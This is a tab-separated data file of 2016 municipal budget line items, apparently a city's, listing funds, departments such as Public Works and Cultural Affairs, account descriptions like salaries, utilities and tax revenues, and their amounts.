21617	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511748.0	DENTAL	808.0	Salaries and Wages	2016	4081	0	0	0	0	0	0	0	0	0	0	0	4081
21618	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		UNEMPLOYMENT	808.0	Salaries and Wages	2016	1344	0	0	0	0	0	0	0	0	0	0	0	1344
21619	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2016	1010	0	0	0	0	0	0	0	0	0	0	0	1010
21620	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2016	1350	0	0	0	0	0	0	0	0	0	0	0	1350
21621	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2016	1239990	0	0	0	0	0	0	0	0	0	0	0	1239990
21622	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2016	20500	0	0	0	0	0	0	0	0	0	0	0	20500
21623	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-4324	0	0	0	0	0	0	0	0	0	0	0	-4324
21624	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	2096	0	0	0	0	0	0	0	0	0	0	0	2096
21625	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2016	9200	0	0	0	0	0	0	0	0	0	0	0	9200
21626	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2016	10000	0	0	0	0	0	0	0	0	0	0	0	10000
21627	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
21628	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2016	142029	0	0	0	0	0	0	0	0	0	0	0	142029
21629	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2016	69266	0	0	0	0	0	0	0	0	0	0	0	69266
21630	BA	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577500.0	TRANSFER - GF CODE COMPLIANCE		 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21631	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533720.0	RADIO EQUIP & MAINT	806.0	 Supplies and Expenses	2016	31151	0	0	0	0	0	0	0	0	0	0	0	31151
21632	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400151.0	DOCUMENTARY TRANSFER TAX	606.0	Other Local Taxes	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21633	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400180.0	LOCAL PUBLIC SAFETY FUNDS	602.0	Property Taxes	2016	-1065409	0	0	0	0	0	0	0	0	0	0	0	-1065409
21634	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	401420.0	TRANSACTION AND USE TAX	604.0	Sales Tax	2016	-16142250	0	0	0	0	0	0	0	0	0	0	0	-16142250
21635	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2016	167792	0	0	0	0	0	0	0	0	0	0	0	167792
21636	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		UNEMPLOYMENT	808.0	Salaries and Wages	2016	3373	0	0	0	0	0	0	0	0	0	0	0	3373
21637	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2016	6000	0	0	0	0	0	0	0	0	0	0	0	6000
21638	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2016	53693	0	0	0	0	0	0	0	0	0	0	0	53693
21639	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511749.0	VISION	808.0	Salaries and Wages	2016	588	0	0	0	0	0	0	0	0	0	0	0	588
21640	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2016	59580	0	0	0	0	0	0	0	0	0	0	0	59580
21641	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	533170.0	AUDIO EQUIPMENT MAINTENANCE	808.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21642	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2016	1235688	0	0	0	0	0	0	0	0	0	0	0	1235688
21643	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2016	10000	0	0	0	0	0	0	0	0	0	0	0	10000
21644	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2016	36960	0	0	0	0	0	0	0	0	0	0	0	36960
21645	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	3133	0	0	0	0	0	0	0	0	0	0	0	3133
21646	BA	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577703.0	PROP A REIMBURSEMENT ADMIN	910.0	 Supplies and Expenses	2016	50000	0	0	0	0	0	0	0	0	0	0	0	50000
21647	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		BLDG/STR MAINT-COLO ESP	808.0	 Supplies and Expenses	2016	20000	0	0	0	0	0	0	0	0	0	0	0	20000
21648	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522150.0	STORMWATER MANAGEMENT	810.0	 Supplies and Expenses	2016	6400	0	0	0	0	0	0	0	0	0	0	0	6400
21649	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2016	41710	0	0	0	0	0	0	0	0	0	0	0	41710
21650	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-27316	0	0	0	0	0	0	0	0	0	0	0	-27316
21651	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2016	2200	0	0	0	0	0	0	0	0	0	0	0	2200
21652	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2016	87000	0	0	0	0	0	0	0	0	0	0	0	87000
21653	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2016	8200	0	0	0	0	0	0	0	0	0	0	0	8200
21654	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2016	25771	0	0	0	0	0	0	0	0	0	0	0	25771
21655	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2016	147949	0	0	0	0	0	0	0	0	0	0	0	147949
21656	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2016	762056	0	0	0	0	0	0	0	0	0	0	0	762056
21657	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EAP	808.0	Salaries and Wages	2016	4565	0	0	0	0	0	0	0	0	0	0	0	4565
21658	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	19403	0	0	0	0	0	0	0	0	0	0	0	19403
21659	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522130.0	UTILITIES - WATER	808.0	 Supplies and Expenses	2016	599608	0	0	0	0	0	0	0	0	0	0	0	599608
21660	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544200.0	SPORTS SUPPLIES	808.0	 Supplies and Expenses	2016	40000	0	0	0	0	0	0	0	0	0	0	0	40000
21661	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	401950.0	BLANKET UTILITY PERMITS	612.0	Charges for Service	2016	-56052	0	0	0	0	0	0	0	0	0	0	0	-56052
21662	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522110.0	UTIL - LIGHT / POWER	810.0	 Supplies and Expenses	2016	82614	0	0	0	0	0	0	0	0	0	0	0	82614
21663	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522120.0	UTILITIES - NATURAL GAS	810.0	 Supplies and Expenses	2016	19500	0	0	0	0	0	0	0	0	0	0	0	19500
21664	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522310.0	OFFICE SUPPLIES / EXPENSE	810.0	 Supplies and Expenses	2016	24000	0	0	0	0	0	0	0	0	0	0	0	24000
21665	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	544200.0	SPORTS SUPPLIES	810.0	 Supplies and Expenses	2016	45000	0	0	0	0	0	0	0	0	0	0	0	45000
21666	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	544340.0	INDIRECT COST ALLOCATION	810.0	 Supplies and Expenses	2016	244352	0	0	0	0	0	0	0	0	0	0	0	244352
21667	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2016	200	0	0	0	0	0	0	0	0	0	0	0	200
21668	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
21669	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511749.0	VISION	808.0	Salaries and Wages	2016	3478	0	0	0	0	0	0	0	0	0	0	0	3478
21670	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522120.0	UTILITIES - NATURAL GAS	808.0	 Supplies and Expenses	2016	300	0	0	0	0	0	0	0	0	0	0	0	300
21671	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2016	17285	0	0	0	0	0	0	0	0	0	0	0	17285
21672	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511748.0	DENTAL	808.0	Salaries and Wages	2016	8421	0	0	0	0	0	0	0	0	0	0	0	8421
21673	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	555210.0	TRAINING	808.0	 Supplies and Expenses	2016	1600	0	0	0	0	0	0	0	0	0	0	0	1600
21674	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	6841	0	0	0	0	0	0	0	0	0	0	0	6841
21675	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	533210.0	BLDG OPER / CUST SUPPLIES	810.0	 Supplies and Expenses	2016	8644	0	0	0	0	0	0	0	0	0	0	0	8644
21676	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570320.0	TRANS FROM 04-GLOW, PLGRND PRT	908.0	 Supplies and Expenses	2016	-35600	0	0	0	0	0	0	0	0	0	0	0	-35600
21677	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533730.0	MOBILE DATA EQUIP & MAINT	806.0	 Supplies and Expenses	2016	71726	0	0	0	0	0	0	0	0	0	0	0	71726
21678	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400040.0	SUPPLEMENTAL PROPERTY TAX	602.0	Property Taxes	2016	-350000	0	0	0	0	0	0	0	0	0	0	0	-350000
21679	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400060.0	PROPERTY TAXES-DEL-SEC/UNSEC	602.0	Property Taxes	2016	-632700	0	0	0	0	0	0	0	0	0	0	0	-632700
21680	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400140.0	UTILITIES USERS TAX	606.0	Other Local Taxes	2016	-33682793	0	0	0	0	0	0	0	0	0	0	0	-33682793
21681	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400160.0	SALES / USE TAX	604.0	Sales Tax	2016	-37540116	0	0	0	0	0	0	0	0	0	0	0	-37540116
21682	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	404900.0	TMP FEES	612.0	Charges for Service	2016	-550000	0	0	0	0	0	0	0	0	0	0	0	-550000
21683	BA	IS	20	Miscellaneous Grants Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	410200.0	PROGRAM INCOME	610.0	Intergovernmental	2016	-100000	0	0	0	0	0	0	0	0	0	0	0	-100000
21684	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533126.0	WATER DIV CNG STN MAINT	808.0	 Supplies and Expenses	2016	2100	0	0	0	0	0	0	0	0	0	0	0	2100
21685	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	410140.0	TRANSPORTATION ENG SVCS	612.0	Charges for Service	2016	-45000	0	0	0	0	0	0	0	0	0	0	0	-45000
21686	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	410160.0	BLOCK PARTIES	612.0	Charges for Service	2016	-1000	0	0	0	0	0	0	0	0	0	0	0	-1000
21687	BA	IS	12	Housing Authority Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578020.0	HOME PROGRAM ADMIN	908.0	 Supplies and Expenses	2016	-52421	0	0	0	0	0	0	0	0	0	0	0	-52421
21688	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-1880	0	0	0	0	0	0	0	0	0	0	0	-1880
21689	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		EAP	808.0	Salaries and Wages	2016	106	0	0	0	0	0	0	0	0	0	0	0	106
21690	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2016	500	0	0	0	0	0	0	0	0	0	0	0	500
21691	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2016	1200	0	0	0	0	0	0	0	0	0	0	0	1200
21692	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	405580.0	GILLETTE SETTLEMENT	622.0	Other	2016	-2433175	0	0	0	0	0	0	0	0	0	0	0	-2433175
21693	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-23683	0	0	0	0	0	0	0	0	0	0	0	-23683
21694	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522130.0	UTILITIES - WATER	810.0	 Supplies and Expenses	2016	38977	0	0	0	0	0	0	0	0	0	0	0	38977
21695	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	533220.0	BLDG / STRUCTURE MAINTENANCE	810.0	 Supplies and Expenses	2016	39210	0	0	0	0	0	0	0	0	0	0	0	39210
21696	BA	IS	25	Water Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577500.0	TRANSFER - GF CODE COMPLIANCE		 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21697	BA	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577500.0	TRANSFER - GF CODE COMPLIANCE		 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21698	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	578920.0	PROP A-MAINT (NOT LOCAL RETRN)	808.0	 Supplies and Expenses	2016	40000	0	0	0	0	0	0	0	0	0	0	0	40000
21699	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	410100.0	FIRE MISCELLANEOUS REVENUE	622.0	Other	2016	-20000	0	0	0	0	0	0	0	0	0	0	0	-20000
21700	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400010.0	PROPERTY TAXES - SECURED	602.0	Property Taxes	2016	-27523549	0	0	0	0	0	0	0	0	0	0	0	-27523549
21701	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400020.0	PROPERTY TAXES - UNSECURED	602.0	Property Taxes	2016	-1023000	0	0	0	0	0	0	0	0	0	0	0	-1023000
21702	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400150.0	DOCUMENTARY TRANSFER TAX	606.0	Other Local Taxes	2016	-5540000	0	0	0	0	0	0	0	0	0	0	0	-5540000
21703	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	523000.0	VEHICLE MGMT FUND-MAINTENANCE	806.0	 Supplies and Expenses	2016	68310	0	0	0	0	0	0	0	0	0	0	0	68310
21704	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	410180.0	EMS RECORDS FEE	612.0	Charges for Service	2016	-100	0	0	0	0	0	0	0	0	0	0	0	-100
21705	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522950.0	CNG FUEL	810.0	 Supplies and Expenses	2016	629	0	0	0	0	0	0	0	0	0	0	0	629
21706	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511748.0	DENTAL	808.0	Salaries and Wages	2016	1322	0	0	0	0	0	0	0	0	0	0	0	1322
21707	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2016	52	0	0	0	0	0	0	0	0	0	0	0	52
21708	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400351.0	RPTTF RESIDUALS	602.0	Property Taxes	2016	-6063094	0	0	0	0	0	0	0	0	0	0	0	-6063094
21709	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2016	-9908	0	0	0	0	0	0	0	0	0	0	0	-9908
21710	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DCAP	808.0	Salaries and Wages	2016	286	0	0	0	0	0	0	0	0	0	0	0	286
21711	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2016	6045	0	0	0	0	0	0	0	0	0	0	0	6045
21712	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2016	15000	0	0	0	0	0	0	0	0	0	0	0	15000
21713	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2016	50186	0	0	0	0	0	0	0	0	0	0	0	50186
21714	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511748.0	DENTAL	808.0	Salaries and Wages	2016	19965	0	0	0	0	0	0	0	0	0	0	0	19965
21715	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2016	260275	0	0	0	0	0	0	0	0	0	0	0	260275
21716	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DCAP	808.0	Salaries and Wages	2016	1506	0	0	0	0	0	0	0	0	0	0	0	1506
21717	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	9573	0	0	0	0	0	0	0	0	0	0	0	9573
21718	BA	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570320.0	TRANS TO 01-GLOW, PLGRND PRTNR	910.0	 Supplies and Expenses	2016	35600	0	0	0	0	0	0	0	0	0	0	0	35600
21719	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	569300.0	BIKE VALET-PICO LIBRARY	816.0	 Supplies and Expenses	2016	9934	0	0	0	0	0	0	0	0	0	0	0	9934
21720	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21721	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522120.0	UTILITIES - NATURAL GAS	810.0	 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
21722	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	533220.0	BLDG / STRUCTURE MAINTENANCE	808.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21723	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	804.0	Salaries and Wages	2016	144	0	0	0	0	0	0	0	0	0	0	0	144
21724	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	2639	0	0	0	0	0	0	0	0	0	0	0	2639
21725	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	3540	0	0	0	0	0	0	0	0	0	0	0	3540
21726	BA	IS	12	Housing Authority Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579330.0	TRANSFER IN FROM GENERAL FUND		 Supplies and Expenses	2016	-460295	0	0	0	0	0	0	0	0	0	0	0	-460295
21727	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	544160.0	RIDESHARE PROGRAM	816.0	 Supplies and Expenses	2016	96000	0	0	0	0	0	0	0	0	0	0	0	96000
21728	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	408000.0	INTERFUND SERVICES-RES	612.0	Charges for Service	2016	-126001	0	0	0	0	0	0	0	0	0	0	0	-126001
21729	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522210.0	UTILITIES - TELEPHONE	810.0	 Supplies and Expenses	2016	1064	0	0	0	0	0	0	0	0	0	0	0	1064
21730	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2016	510	0	0	0	0	0	0	0	0	0	0	0	510
21731	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		EAP	808.0	Salaries and Wages	2016	2481	0	0	0	0	0	0	0	0	0	0	0	2481
21732	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2016	29705	0	0	0	0	0	0	0	0	0	0	0	29705
21733	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2016	32000	0	0	0	0	0	0	0	0	0	0	0	32000
21734	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	520000.0	SUPPLIES AND EXPENSES		 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21735	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	533030.0	PROPERTY INSURANCE	808.0	 Supplies and Expenses	2016	2254	0	0	0	0	0	0	0	0	0	0	0	2254
21736	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2016	26237	0	0	0	0	0	0	0	0	0	0	0	26237
21737	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2016	690760	0	0	0	0	0	0	0	0	0	0	0	690760
21738	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2016	1458777	0	0	0	0	0	0	0	0	0	0	0	1458777
21739	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2016	277953	0	0	0	0	0	0	0	0	0	0	0	277953
21740	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2016	4266	0	0	0	0	0	0	0	0	0	0	0	4266
21741	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EAP	808.0	Salaries and Wages	2016	419	0	0	0	0	0	0	0	0	0	0	0	419
21742	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544150.0	TREES/SEEDS/PLANTS/FERTILIZER	808.0	 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
21743	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2016	30000	0	0	0	0	0	0	0	0	0	0	0	30000
21744	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2016	400123	0	0	0	0	0	0	0	0	0	0	0	400123
21745	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511749.0	VISION	808.0	Salaries and Wages	2016	3106	0	0	0	0	0	0	0	0	0	0	0	3106
21746	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EAP	808.0	Salaries and Wages	2016	2214	0	0	0	0	0	0	0	0	0	0	0	2214
